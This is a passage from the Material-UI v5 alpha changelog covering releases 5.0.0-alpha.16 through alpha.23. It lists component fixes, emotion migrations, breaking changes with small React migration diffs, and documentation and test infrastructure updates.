@m4theushw @eps1lon @huzaima @praveenkumar-kalidass\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.23`/`@material-ui/unstyled@v5.0.0-alpha.23`\n\n- [Container] Fix disableGutters style not applied (#24284) @povilass\n- [Paper] Migrate to emotion (#24397) @povilass\n- [Slider] Allow mobile VO users to interact with Sliders (#23902) @CodySchaaf\n- [SwipeableDrawer] Add bleeding demo (#24268) @vicasas\n- [SwipeableDrawer] Fix overflow scroll computation logic (#24225) @yann120\n- [Table] Fix \"more than\" translation in es-ES (#24356) @vicasas\n- [TextField] Fix error color for form input with secondary color (#24290) @praveenkumar-kalidass\n- [Button] Fix resolution of default props (#24253) @oliviertassinari\n\n### `@material-ui/lab@v5.0.0-alpha.23`\n\n#### Breaking changes\n\n- [DateRangePicker] Remove DateRangDelimiter (#24298) @huzaima\n\n  You can migrate away from it with:\n\n  ```diff\n  diff --git a/docs/src/pages/components/date-range-picker/BasicDateRangePicker.tsx b/docs/src/pages/components/date-range-picker/BasicDateRangePicker.tsx\n  index 72a89f9a11..2742fa6811 100644\n  --- a/docs/src/pages/components/date-range-picker/BasicDateRangePicker.tsx\n  +++ b/docs/src/pages/components/date-range-picker/BasicDateRangePicker.tsx\n  @@ -3,7 +3,7 @@ import TextField from '@material-ui/core/TextField';\n   import DateRangePicker, { DateRange } from '@material-ui/lab/DateRangePicker';\n   import AdapterDateFns from '@material-ui/lab/AdapterDateFns';\n   import LocalizationProvider from '@material-ui/lab/LocalizationProvider';\n  -import DateRangeDelimiter from '@material-ui/lab/DateRangeDelimiter';\n  +import Box from '@material-ui/core/Box';\n\n   export default function BasicDateRangePicker() {\n     const [value, setValue] = React.useState<DateRange<Date>>([null, null]);\n  @@ -20,7 +20,7 @@ export default function BasicDateRangePicker() {\n          renderInput={(startProps, endProps) => (\n            <React.Fragment>\n              <TextField {...startProps} variant=\"standard\" />\n  -            <DateRangeDelimiter> to </DateRangeDelimiter>\n  +            <Box sx={{ mx: 2 }}>to</Box>\n              <TextField {...endProps} variant=\"standard\" />\n            </React.Fragment>\n          )}\n  ```\n\n#### Changes\n\n- [DatePicker] Fix out of range month selection (#24301) @m4theushw\n- [DatePicker] Replace withDefaultProps with useThemeProps (#24309) @m4theushw\n- [DatePicker] Simplify ExtendWrapper type (#24275) @eps1lon\n- [DatePicker] Reduce coupling of parsing picker input value and props (#24319) @eps1lon\n- [TimePicker] Add pointer cursor for clock in desktop (#24276) @praveenkumar-kalidass\n- [lab] Drop usage of createStyles (#24158) @eps1lon\n- [lab] Fix import paths in generated declaration files (#24380) @eps1lon\n- [lab] Prevent possible null pointer in useValidation (#24318) @eps1lon\n\n### `@material-ui/styled-engine@v5.0.0-alpha.23`/`@material-ui/styled-engine-sc@v5.0.0-alpha.23`\n\n- [styled-engine] Add `GlobalStyles` component (#24176) @mnajdova\n\n### Docs\n\n- [docs] Add example performance Stepper vertical (#24292) @vicasas\n- [docs] Change Link example from JS to TS (#24291) @vicasas\n- [docs] Do not show 'Add' if user input matches existing option (#24333) @ramdog\n- [docs] Focus docs search input when the shortcut is clicked (#24296) @eps1lon\n- [docs] Further template the CSS API descriptions (#24360) @mbrookes\n- [docs] Improve Next.js Link integration (#24258) @oliviertassinari\n- [docs] Misc API fixes (#24357) @mbrookes\n- [docs] Prevent kbd to wrap (#24269) @oliviertassinari\n- [docs] Simplify icon button docs (#24317) @baharalidurrani\n- [docs] Standardize some API descriptions (#24274) @mbrookes\n- [docs] Sync AppSearch.tsx with AppSearch.js (#24363) @Lagicrus\n- [docs] Update CONTRIBUTING being accepted (#24306) @vicasas\n- [docs] Update right to left compatibility plugin version (#24370) @mnajdova\n- [docs] Widen example datetime-local picker so it's not clipped (#24324) @ramdog\n\n### Core\n\n- [core] Create issue labeled (#24283) @xrkffgg\n- [core] Fix ESLint @oliviertassinari\n- [core] Skip downloading browser binaries when building docs (#24393) @eps1lon\n- [core] Small changes (#24329) @oliviertassinari\n- [core] Support public paths in module augmentation (#24267) @eps1lon\n- [core] Update classes generation logic (#24371) @mnajdova\n- [core] Update issue mark duplicate (#24311) @xrkffgg\n- [core] Update issues helper version (#24379) @xrkffgg\n- [test] Add pipeline task for performance monitoring (#24289) @eps1lon\n- [test] Compensate for Circle CI's low performance (#24358) @oliviertassinari\n- [test] Debug expensive GH actions still runing for l10nbot (#24392) @eps1lon\n- [test] Move callback args to right side of assertion (#24366) @eps1lon\n- [test] Persist new declaration files in CI cache (#24313) @eps1lon\n- [test] Reduce download times of playwright binaries (#24364) @eps1lon\n- [test] Skip expensive GitHub actions on l10nbot commits (#24303) @eps1lon\n- [test] Test declaration files in TS nightly (#24391) @eps1lon\n- [styles] Define useThemeProps as unstable and fix TS issues (#24383) @mnajdova\n\n## 5.0.0-alpha.22\n\n_Jan 4, 2021_\n\nA big thanks to the 14 contributors who made this release possible. Here are some highlights ✨:\n\n- ♿️ Fix major accessibility issue with the Autocomplete (#24213) @inform880\n- 👩‍🎤 Migrate the Container to emotion (#24227) @oliviertassinari\n- 🐛 Fix Next.js regression and other cross-platform issues with the build (#24200, #24223)\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.22`/`@material-ui/unstyled@v5.0.0-alpha.22`\n\n- [Autocomplete] Fix VoiceOver not reading the correct activedescendant (#24213) @inform880\n- [Autocomplete] Warn when value is invalid (#24202) @Sandeep0695\n- [Button] Fix disableElevation regression (#24251) @oliviertassinari\n- [Container] Migrate to emotion (#24227) @oliviertassinari\n- [Pagination] Fix className forwarding when type is ellipsis (#24256) @andrelmlins\n- [Select] Improve description on how it extends the Input components (#24180) @azza85\n- [styled] Fix missing types for `sx` (#24211) @mnajdova\n- [styled] Remove unused type parameters from StyledOptions (#24255) @eps1lon\n- [styled] Support components without theme (#24214) @mnajdova\n- [styles] Fix classes logic (#24250) @oliviertassinari\n- [styles] Improve the classes structure (#24249) @oliviertassinari\n\n### `@material-ui/lab@v5.0.0-alpha.22`\n\n- [DatePicker] Fix year only view, hide the current month (#24205) @hyeonhong\n- [DatePicker] Nested imports for better DX (#24147) @oliviertassinari\n- [DatePicker] Remove unused type parameters (#24257) @eps1lon\n- [TimePicker] Prevent conflicting type parameter in `ClockProps#getClockLabelText` (#24193) @eps1lon\n\n### Docs\n\n- [docs] Accept pages written in TypeScript (#24230) @oliviertassinari\n- [docs] Document emotion migration breaking changes (#24229) @luminaxster\n- [docs] Fix broken benchmark link (#24210) @jalaj-k\n- [docs] Fix codesandbox datagrid demo (#24218) @brno32\n- [docs] Fix iframe demos with emotion (#24232) @oliviertassinari\n- [docs] Sync translations (#24161) @l10nbot\n\n### Core\n\n- [test] More granular progress tracking of relative type imports (#24233) @eps1lon\n- [core] Add missing sx typings on the components migrated to emotion (#24208) @mnajdova\n- [core] Batch small changes (#24224) @oliviertassinari\n- [core] Create issue mark duplicate (#24184) @xrkffgg\n- [core] Fix generation of package.json (#24223) @oliviertassinari\n- [core] Fix relative import of types (#24248) @oliviertassinari\n- [core] Platform agnostic build script for envinfo (#24200) @eps1lon\n- [core] Remove unused generics from experimentalStyled (#24192) @eps1lon\n\n## 5.0.0-alpha.21\n\n_Dec 30, 2020_\n\nA big thanks to the 14 contributors who made this release possible. Here are some highlights ✨:\n\n- 👩‍🎤 Migrate the Avatar to emotion (#24114) @oliviertassinari\n- 👩‍🎤 Migrate the Button to emotion (#24107, #24100) @mnajdova\n- ♿️ Improve TrapFocus behavior, ignore the container as a tabbable element (#23364) @gregnb\n  In rare cases, an element might not longer be tabbable when looping, for example overflow container in Firefox.\n  You can work around the problem by adding a `tabIndex={0}` or customizing the `getTabbable` prop.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.21`/`@material-ui/unstyled@v5.0.0-alpha.21`\n\n- [Avatar] Migrate to emotion (#24114) @oliviertassinari\n- [ButtonBase] Migrate styles to emotion (#24100) @mnajdova\n- [Button] Migrate styles to emotion (#24107) @mnajdova\n- [unstyled] Add utils for generating utility classes (#24126) @mnajdova\n- [FocusTrap] Fix trap to only focus on tabbable elements (#23364) @gregnb\n- [Link] Improve integration with Next.js (#24121) @kelvinsanchez15\n- [Select] Fix overflow showing scrollbar (#24085) @Segebre\n- [Slider] Fix circular type reference in SliderValueLabel (#24190) @eps1lon\n- [Skeleton] Fix default TypeScript component type (#24191) @eps1lon\n\n### `@material-ui/system@v5.0.0-alpha.21`\n\n- [system] Fix sx prop typings to support grid gap props (#24093) @mnajdova\n- [system] Improve the SxProp typings structure, by splitting them in a separate module. (#24090) @mnajdova\n- [system] Replace grid gap properties (#24094) @mnajdova\n\n### `@material-ui/lab@v5.0.0-alpha.21`\n\n- [DatePicker] Allow to customize icons (#24017) @jackcwu\n- [DatePicker] Fix missing component for theme augmentation (#24092) @rajzik\n- [DatePicker] Hide outline on container (#24108) @oliviertassinari\n- [DatePicker] Fix accessibility issue with heading (#24183) @gracektay\n- [TimePicker] Improve the design to fit on smaller screens (#23855) @marianayap\n- [TreeView] Add preventScroll for tree focus (#24105) @praveenkumar-kalidass\n\n### `@material-ui/styles@v5.0.0-alpha.21`\n\n- [styles] Fix for supporting non string props in propsToClassKey (#24101) @mnajdova\n\n### `@material-ui/styled-engine@v5.0.0-alpha.21`/`@material-ui/styled-engine-sc@v5.0.0-alpha.21`\n\n- [styled-engine] Fix StylesProvider injectFirst with sc (#24104) @mnajdova\n\n### Docs\n\n- [docs] Add examples for adding and removing Typography variants (#24088) @mnajdova\n- [docs] Fix typo (#24123) @ajonp\n- [docs] Fix warning about wrong prop type (#24117) @mnajdova\n- [docs] Rename \"Customization > Theme > Global\" to \"Customization > Theme > Components\" (#24115) @mnajdova\n- [docs] Rename customization/components to customization/how-to-customize (#24089) @mnajdova\n- [docs] Replace process.browser with typeof navigator (#24122) @softshipper\n- [docs] Sync translations (#24152) @l10nbot\n- [docs] Update Fontsource install instructions (#24120) @DecliningLotus\n- [docs] Add system grid page (#24119) @mnajdova\n- [blog] 2020 in review and beyond (#24130) @oliviertassinari\n- [docs] Improve naming and structure of the Customization and Guide pages (#24175) @mnajdova\n\n### Core\n\n- [core] Batch small changes (#24131) @oliviertassinari\n- [core] Fix overridesResolver on the core components and added tests (#24125) @mnajdova\n- [core] Reduce number of files included in language server (#24165) @eps1lon\n- [core] Reduce response time of initial PR bot comment (#24168) @eps1lon\n- [core] Refactor styled() components to ease out the migration process (#24124) @mnajdova\n- [test] Add more packages to browser test suite (#24155) @eps1lon\n- [core] Monitor progress of fixing type imports (#24188) @eps1lon\n- [core] Fix build on Windows (#24187) @oliviertassinari\n\n## 5.0.0-alpha.20\n\n_Dec 21, 2020_\n\nA big thanks to the 13 contributors who made this release possible. Here are some highlights ✨:\n\n- 👩‍🎤 Migrate the Typography to emotion (#23841) @DanailH\n\n  This change allows to add typography variants in the theme and to use them directly:\n\n  ```jsx\n  const theme = createMuiTheme({\n    typography: {\n      poster: {\n        color: 'red',\n      },\n    },\n  });\n  <Typography variant=\"poster\">poster</Typography>;\n  ```\n\n  [A full demo](https://codesandbox.io/p/sandbox/fontsizetheme-material-demo-forked-l9u05?file=/demo.tsx:725-773)\n\n- 📚 Add a shortcut to open the Algolia search (#23959) @hmaddisb.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.20`/`@material-ui/unstyled@v5.0.0-alpha.20`\n\n#### Breaking changes\n\n- [CssBaseline] Change body font size to body1 (1rem) (#24018) @mbrookes\n\n  The new default matches the variant used by the Typography component. To return to the previous size, you can override it in the theme:\n\n  ```js\n  const theme = createMuiTheme({\n    typography: {\n      body1: {\n        fontSize: '0.875rem',\n      },\n    },\n  });\n  ```\n\n#### Changes\n\n- [Badge] Fix the classes description to reflect the correct component (#24035) @mnajdova\n- [Select] Fix aria-describedby attribute (#24027) @HVish\n- [Skeleton] Fix Circle border radius on Safari (#24054) @anatolzak\n- [Slider][badge] Fix classes prop not working (#24034) @mnajdova\n- [Typography] Migrate styles to emotion (#23841) @DanailH\n\n### `@material-ui/styled-engine@v5.0.0-alpha.20`/`@material-ui/styled-engine-sc@v5.0.0-alpha.20`\n\n- [styled-engine] Add name and slot options (#23964) @mnajdova\n- [styled-engine] Add StylesProvider with injectFirst option (#23934) @mnajdova\n\n### `@material-ui/system@v5.0.0-alpha.20`\n\n- [system] Fix transform not firing when theme provided (#24010) @ZovcIfzm\n\n### Docs\n\n- [docs] Add a shortcut to access the search bar (#23959) @hmaddisb\n- [docs] Animate component's mounting and unmounting (#24049) @cjoecker\n- [docs] Fix collapse API docs description of 'hidden' style condition (#24053) @jaiwanth-v\n- [docs] Improve color demo snippet spacing (#24009) @yukinoda\n- [docs] Improve displayed versions (#24051) @oliviertassinari\n- [docs] Show a better file on codesandbox (#24052) @oliviertassinari\n- [docs] Update customization/components and customization/global pages (#24016) @mnajdova\n- [docs] Update the CSS injection guide (#24020) @mnajdova\n\n### Core\n\n- [core] Batch small changes (#24038) @oliviertassinari\n- [core] Track size of /unstyled (#24021) @eps1lon\n- [core] Use consistent naming scheme for ttp annotations (#24022) @eps1lon\n\n## 5.0.0-alpha.19\n\n_Dec 13, 2020_\n\nA big thanks to the 24 contributors who made this release possible. Here are some highlights ✨:\n\n- 👩‍🎤 Migrate the Badge to emotion (#23745) @mnajdova.\n- 🌏 Add infrastructure to translate the API pages (#23852) @mbrookes.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.19`\n\n#### Breaking changes\n\n- [Icon][svgicon] Change default fontSize from default to medium (#23950) @mbrookes\n\n  The default value of `fontSize` was changed from `default` to `medium` for consistency.\n  In the unlikey event that you were using the value `default`, the prop can be removed:\n\n  ```diff\n  -<SvgIcon fontSize=\"default\">{iconPath}</SvgIcon>\n  +<SvgIcon>{iconPath}</SvgIcon>\n  ```\n\n- [TextField] Add size prop for outlined and filled input (#23832) @mayralgr\n\n  Rename `marginDense` and `inputMarginDense` classes to `sizeSmall` and `inputSizeSmall` to match the prop.\n\n#### Changes\n\n- [Autocomplete] Document onChange last `details` param (#23942) @natac13\n- [Autocomplete] Fix useAutocomplete groupedOptions type (#23854) @ZachCMP\n- [Autocomplete] Improve DX/UX when getOptionLabel is not configured correctly (#23884) @marianayap\n- [Autocomplete] Improve getOptionSelected description (#23817) @smartshivkat\n- [Badge] Create unstyled component & move to emotion (#23745) @mnajdova\n- [Grid] Improve support for nested grid (#23913) @gbrochar\n- [Grid] Fix side effects when direction=\"column\" and xs={} is used (#23900) @Kai-W\n- [Select] Fix description, value is not required (#23940) @natac13\n- [Slider] Remove color prop in unstyled (#23840) @mnajdova\n- [Slider] Replaced inlined isHostComponent with the utils (#23880) @mnajdova\n- [SwipeableDrawer] Refactor internals (#23944) @eps1lon\n- [TextField] Add documentation for hidden label (#23915) @Fredestrik\n- [TextField] Fix the color leak of the textbox (#23912) @szabgab\n- [useMediaQuery] Fix a false return at the first call (#23806) @marthaerm\n- [utils] Fix minified errors throwing with \\_formatMuiErrorMessage (#23828) @eps1lon\n\n### `@material-ui/unstyled@v5.0.0-alpha.19`\n\n- [core] Use Lerna to publish (#23793) @oliviertassinari\n\n### `@material-ui/system@v5.0.0-alpha.19`\n\n#### Breaking changes\n\n- [system] Move visually hidden helper to utils (#23974) @eps1lon\n\n  Only applies if you've installed v5.0.0-alpha.1\n\n  ```diff\n  -import { visuallyHidden } from '@material-ui/system';\n  +import { visuallyHidden } from '@material-ui/utils';\n  ```\n\n#### Changes\n\n- [core] Use Lerna to publish (#23793) @oliviertassinari\n\n### `@material-ui/lab@v5.0.0-alpha.19`\n\n- [core] Use Lerna to publish (#23793) @oliviertassinari\n\n### `@material-ui/utils@v5.0.0-alpha.19`\n\n- [core] Use Lerna to publish (#23793) @oliviertassinari\n\n### `@material-ui/styles@v5.0.0-alpha.19`\n\n- [core] Use Lerna to publish (#23793) @oliviertassinari\n\n### Docs\n\n- [example] Change Box to new sx prop (#23937) @natac13\n- [example] Explain package choice (#23938, #23958) @mnajdova\n- [example] Update nextjs examples to fix hydration (#23936) @mnajdova\n- [docs] Add API tradeoff section for the sx prop (#23962) @mnajdova\n- [docs] Add ELEVATOR to backers (#23977) @mbrookes\n- [docs] Add ESLint rule to docs (#23843) @jens-ox\n- [docs] Add infrastructure to translate API pages (#23852) @mbrookes\n- [docs] Add link to the sx docs page in the API description (#23967) @mnajdova\n- [docs] Add prepend option on emotion caches to allow JSS style overrides (#23892) @mnajdova\n- [docs] Add Vercel deploy config (#23910) @eps1lon\n- [docs] Allow codesandbox deploy for demos in X (#23644) @oliviertassinari\n- [docs] Copy icons to clipboard (#23850) @CodeWithGuruji\n- [docs] Fix breakpoints typos (#23893) @mnajdova\n- [docs] Fix color contrast of code within links (#23819) @eps1lon\n- [docs] Fix duplicated styles generated from emotion (#23809) @mnajdova\n- [docs] Fix icon alignment in /components/breadcrumbs (#23818) @eps1lon\n- [docs] Fix production deploy (#23963) @eps1lon\n- [docs] Fix source on GitHub links (#23821) @praveenkumar-kalidass\n- [docs] Fix StickyHeaderTable round borders (#23882) @antoniopacheco\n- [docs] Fix typo in date picker dayjs adapter name (#23935) @andresmrm\n- [docs] Improve system properties page (#23961) @mnajdova\n- [docs] Link module augmentation in TypeScript @oliviertassinari\n- [docs] Make stable width of localization example (#23820) @sujinleeme\n- [docs] Mention Adobe XD (#23978) @oliviertassinari\n- [docs] Prefer system shorthands (#23970) @oliviertassinari\n- [docs] Remove 'TODO' comment from buildApi script (#23973) @mbrookes\n- [docs] Sync translations (#23742, #23842) @l10nbot\n- [docs] Update Badge examples to use Box instead of makeStyles (#23927) @mnajdova\n\n### Core\n\n- [test] Add conformance tests for testing the `theme.components` options for the v5 components (#23896) @mnajdova\n- [test] Include type path mappings in language server (#23905) @eps1lon\n- [test] Make Popper tests StrictMode agnostic (#23838) @eps1lon\n- [test] Run benchmarks in Azure Pipelines when approved (#23895) @eps1lon\n- [test] Skip tests with cascading network requests (#23823) @eps1lon\n- [core] All packages are published from /build (#23886) @oliviertassinari\n- [core] Batch small changes (#23853) @oliviertassinari\n- [core] Fix failing CI on HEAD (#23947) @oliviertassinari\n- [core] Force LF for text files (#23932) @eps1lon\n- [core] Improve envinfo instructions (#23918) @eps1lon\n- [core] Replace fs-extra deprecated function (exists) (#23848) @leonardopliski\n- [core] Use Lerna to publish (#23793) @oliviertassinari\n- [core] Use playwright instead of puppeteer (#23906) @eps1lon\n- [core] Add envinfo --json flag (#23883) @eps1lon\n- [core] Ask for output from envinfo in issues (#23881) @eps1lon\n\n## 5.0.0-alpha.18\n\n_Dec 3, 2020_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- Fix most of the issues with MUI System (#23716, #23635, #23737, #23733, #23700, #23688) @mnajdova.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.18`\n\n#### Breaking changes\n\n- [Box] Remove deprecated props (#23716) @mnajdova\n  All props are now available under the `sx` prop. A deprecation will be landing in v4.\n  Thanks to @mbrookes developers can automate the migration with a [codemod](https://github.com/mui/material-ui/blob/v5.0.0/packages/mui-codemod/README.md#box-sx-prop).\n\n  ```diff\n  -<Box p={2} bgcolor=\"primary.main\">\n  +<Box sx={{ p: 2, bgcolor: 'primary.main' }}>\n  ```\n\n#### Changes\n\n- [Autocomplete] Add ability to override key down events handlers (#23487) @hessaam\n- [Autocomplete] Better isolate test case (#23704) @oliviertassinari\n- [Autocomplete] Fix highlight change event (#23718) @TakumaKira\n- [Box] Fix TypeScript issue when component prop is used (#23686) @mnajdova\n- [experimentalStyled] Make sx style fn optional (#23714) @mnajdova\n- [l10n] Improve Brazilian (pt-BR) locale (#23707) @m4rcelofs\n- [l10n] Improve Korean (ko-KR) locale (#23794) @sujinleeme\n- [Select] Add disabled attribute in input element when disabled (#23778) @praveenkumar-kalidass\n- [Switch] Add preventDefault check for state change (#23786) @praveenkumar-kalidass\n- [Tabs] Remove duplicate styles (#23561) @cmfcmf\n\n### `@material-ui/system@v5.0.0-alpha.18`\n\n- [system] Allow values to use shorter string when the prop name is contained in the value (#23635) @mnajdova\n- [system] Another round of perf improvements (#23737) @mnajdova\n- [system] Fix transform return value to support CSSObject (#23733) @mnajdova\n- [system] Make borderRadius multiply a theme's design token (#23700) @mnajdova\n- [system] Various perf gain experiments (#23688) @mnajdova\n\n### `@material-ui/styles@v5.0.0-alpha.18`\n\n- [styles] Small performance gain (#23749) @oliviertassinari\n- [styles] Update mergeClasses types to more closely match its implementation (#23705) @etrepum\n\n### `@material-ui/utils@v5.0.0-alpha.18`\n\n- [system] Another round of perf improvements (#23737) @mnajdova\n\n### `@material-ui/lab@v5.0.0-alpha.18`\n\n- [DatePicker] Found one prop that was renamed (#23676) @oliviertassinari\n- [DateRangePicker] Allow same date selection (#23701) @hmaddisb\n\n### `@material-ui/styled-engine@v5.0.0-alpha.18`/`@material-ui/styled-engine-sc@v5.0.0-alpha.18`\n\n- [styled-engine] Fix tagged template syntax with multiple expressions (#23269) @eps1lon\n\n### Docs\n\n- [docs] Add settings panel to allow system mode (#23722) @mbrookes\n- [docs] Add v5 peer dependencies in README (#23751) @johnrichardrinehart\n- [docs] Document using codesandbox-ci (#23800) @brorlarsnicklas\n- [docs] Fix link name for canadacasino (#23799) @eps1lon\n- [docs] Fix various a11y issues reported by lighthouse (#23791) @eps1lon\n- [docs] Improve prop descriptions (#23723) @oliviertassinari\n- [docs] Improve SEO structure (#23748) @oliviertassinari\n- [docs] Improve settings toggle button styling (#23754) @mbrookes\n- [docs] Misc fixes (#23756) @mbrookes\n- [docs] Move instructions for starting the docs earlier in the file (#23801) @brorlarsnicklas\n- [docs] Prepare v5.0.0-alpha.17 (#23680) @oliviertassinari\n- [docs] Remove unused abstraction (#23724) @oliviertassinari\n- [docs] Sync translations (#23682) @l10nbot\n\n### Core\n\n- [benchmark] Improve printed results (#23729) @oliviertassinari\n- [benchmark] Test styleFunctionSx vs. @styled-system/css (#23702) @mnajdova\n- [benchmark] Update with latest (#23694) @oliviertassinari\n- [core] Batch small changes (#23678) @oliviertassinari\n- [core] Fix ci @oliviertassinari\n- [core] Fix error handling on upload (#23734) @eps1lon\n- [core] Fully clear composite TypeScript project state (#23805) @eps1lon\n- [core] Remove unused classes (#23473) @jens-ox\n- [test] Add conformance test suite for v5 (#23798) @mnajdova\n- [test] Cleanup skipped tests (#23732) @eps1lon\n- [test] Misc improvements to experimental and browser test runner (#23699) @eps1lon\n- [test] Stay busy until document.fonts is ready (#23736) @eps1lon\n\n## 5.0.0-alpha.17\n\n_Nov 23, 2020_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highlights ✨:\n\n- 📚 Improve the IntelliSense support for the `sx` prop (#23599) @mnajdova.\n  You should now get a description for each property of MUI System. For instance with `mx`:\n\n  ![system TypeScript](https://user-images.githubusercontent.com/3165635/99920493-20f60a00-2d24-11eb-8748-c5dd7fe85cbd.png)\n\n- 💅 Migrate the first core component to the v5 styling architecture (#23308) @mnajdova.\n  We have spent the last few months iterating on the new styling approach in the lab, and are confident enough in the new approach to move it to the core, so we have migrated the Slider. We will wait a week or two to collect feedback on it, before scaling it to the rest of the codebase.\n- 📅 Fix the first few issues on the date picker components since the migration in the lab.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.17`\n\n#### Breaking changes\n\n- [Slider] Migrate to emotion (#23308) @mnajdova\n\n  By default, emotion injects its style after JSS, this breaks the computed styles. In order to get the correct CSS injection order until all the components are migrated, you need to wrap the root of your application with:\n\n  ```jsx\n  import * as React from 'react';\n  import ReactDOM from 'react-dom';\n  import { StylesProvider } from '@material-ui/core';\n  import App from './App';\n\n  ReactDOM.render(\n    <StylesProvider injectFirst>\n      <App />\n    </StylesProvider>,\n    document.querySelector('#root'),\n  );\n  ```\n\n  This enforces emotion being injected first. [More details](https://mui.com/material-ui/integrations/interoperability/#css-injection-order) in the documentation.\n\n- [Autocomplete] Rename `closeIcon` prop with `clearIcon` to avoid confusion (#23617) @akhilmhdh.\n\n  ```diff\n  -<Autocomplete closeIcon={icon} />\n  +<Autocomplete clearIcon={icon} />\n  ```\n\n- [Dialog] Remove the `disableBackdropClick` prop. It's redundant with the `reason` argument (#23607) @eps1lon.\n\n  ```diff\n   <Dialog\n  -  disableBackdropClick\n  -  onClose={handleClose}\n  +  onClose={(event, reason) => {\n  +    if (reason !== 'backdropClick') {\n  +      onClose(event, reason);\n  +    }\n  +  }}\n   />\n  ```\n\n- [Modal] Remove the `disableBackdropClick` prop. It's redundant with the `reason` argument (#23607) @eps1lon.\n\n  ```diff\n   <Modal\n  -  disableBackdropClick\n  -  onClose={handleClose}\n  +  onClose={(event, reason) => {\n  +    if (reason !== 'backdropClick') {\n  +      onClose(event, reason);\n  +    }\n  +  }}\n   />\n  ```\n\n- [Modal] Remove the `onEscapeKeyDown` prop. It's redundant with the `reason` argument. (#23571) @eps1lon\n\n  ```diff\n   <Modal\n  -  onEscapeKeyDown={handleEscapeKeyDown}\n  +  onClose={(event, reason) => {\n  +    if (reason === \"escapeKeyDown\") {\n  +      handleEscapeKeyDown(event);\n  +    }\n  +  }}\n   />;\n  ```\n\n#### Changes\n\n- [CircularProgress][linearprogress] Change components from div to span (#23587) @bruno-azzi\n- [Grid] Improve warning when a prop is missing (#23630) @udayRedI\n- [Icon] Allow customizing the 'material-icons' base class name (#23613) @rart\n- [Select] Fix focus() call on ref (#23302) @reedanders\n- [Slider] Add test case for triggering a specific value (#23642) @Thehambalamba\n- [Slider] General cleanup and add classes prop for unstyled (#23569) @mnajdova\n- [styles] Add support for TypeScript 4.1 (#23633) @eps1lon\n\n### `@material-ui/codemod@v5.0.0-alpha.17`\n\n- [codemod] Add moved-lab-modules (#23588) @eps1lon\n  This codemod is part of our effort to make the migration from v4 to v5 as painless as possible.\n\n### `@material-ui/utils@v5.0.0-alpha.17`\n\n- [Grid] Improve warning when a prop is missing (#23630) @udayRedI\n\n### `@material-ui/system@v5.0.0-alpha.17`\n\n- [system] Improve the `sx` prop IntelliSense (#23599) @mnajdova\n\n### `@material-ui/unstyled@v5.0.0-alpha.17`\n\n- [Slider] Replace core Slider with SliderStyled (#23308) @mnajdova\n\n### `@material-ui/lab@v5.0.0-alpha.17`\n\n#### Breaking changes\n\n- [DatePicker] Change the import path of the date adapters (#23568) @eps1lon.\n  It better fits with the current import convention.\n\n  ```diff\n  -import AdapterDateFns from '@material-ui/lab/dateAdapter/date-fns';\n  +import AdapterDateFns from '@material-ui/lab/AdapterDateFns';\n  ```\n\n#### Changes\n\n- [DatePicker] Add missing exports (#23621) @havgry\n- [DatePicker] Add missing TypeScript definitions (#23560) @mbrookes\n- [DatePicker] Fix false-positive when validating mask in Safari (#23602) @eps1lon\n- [DatePicker] Fix missing manifest for TypeScript packages (#23564) @eps1lon\n- [TimePicker] Prevent scroll when interacting with the clock (#23563) @knightss27\n\n### Docs\n\n- [docs] Add advanced page for MUI System (#23596) @mnajdova\n- [docs] Add docs for typography in system (#23510) @oliviertassinari\n- [docs] API pages i18n (#23214) @mbrookes\n- [docs] Create pickers migration guide (#23605) @dmtrKovalenko\n- [docs] Enable TS language service for docs/src (#23576) @eps1lon\n- [docs] Explain the information listed on MUI System properties page (#23566) @mnajdova\n- [docs] Fix /api client-side routing (#23586) @eps1lon\n- [docs] Fix the Box section title on migration-v4 guide (#23679) @claudioldf\n- [docs] Generate default values for docs from the unstyled components (#23614) @mnajdova\n- [docs] Increase printWidth from 80 to 85(#23512) @eps1lon\n- [docs] Prevent layout jumps from img loading in system demo (#23504) @eps1lon\n- [docs] Remove controlled Tooltip example in Slider (#23625) @micsidoruk\n- [docs] Remove dead demos in MUI System basics page (#23565) @mnajdova\n- [docs] Replace emotion-server packages with @emotion/server (#23557) @numToStr\n- [docs] Sync translations (#23648) @l10nbot\n\n### Core\n\n- [core] Add support for TypeScript 4.1 (#23633) @eps1lon\n- [core] Batch small changes (#23554) @oliviertassinari\n- [core] Cleanup emotion dependencies (#23556) @eps1lon\n- [core] Fix formatting (#23567) @eps1lon\n- [core] Fix tracked component size regression (#23516) @eps1lon\n- [core] Fix transpilation target of UMD bundle (#23618) @eps1lon\n- [test] Create chunks for Argos (#23518) @oliviertassinari\n- [test] Debug argos-cli upload failures (#23623) @eps1lon\n- [test] Enable experimental-timezone tests (#23595) @eps1lon\n- [test] Misc visual regression flakiness improvements (#23619) @eps1lon\n- [test] Use playwright instead of vrtest (#23500) @eps1lon\n\n## 5.0.0-alpha.16\n\n_Nov 14, 2020_\n\nA big thanks to the 34 contributors who made this release possible. Here are some highlights ✨:\n\n- 📅 Migrate the date picker to the lab (#22692) @dmtrKovalenko.\n  We have integrated the components with the code infrastructure. Next we will migrate all the GitHub issues from [material-ui-pickers](https://github.com/mui/material-ui-pickers) and archive the repository. This migration will help provide first-class support for the date picker components. The component will stay in the lab as long as necessary to reach the high-quality bar we have for core components. You can find the [new documentation here](https://mui.com/components/pickers/).\n\n  While the source code is currently hosted in the [main repository](https://github.com/mui/material-ui), we might move it to the [x repository](https://github.com/mui/mui-x) in the future, depending on what is easier for the commercial date range picker. The date picker will stay open source no matter what.\n\n- 📚 Revamp the documentation for [MUI System](https://mui.com/system/getting-started/). The System contains CSS utilities. The documentation now promotes the use of the `sx` prop. It's ideal for adding one-off styles, for example padding, but when pushed to its limits, it can be used to implement quickly a complete page.\n- 👩‍🎨 Upgrade emotion to v11 (#23007) @mnajdova.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.16`\n\n#### Breaking changes\n\n- [TextField] Change default variant from standard to outlined (#23503) 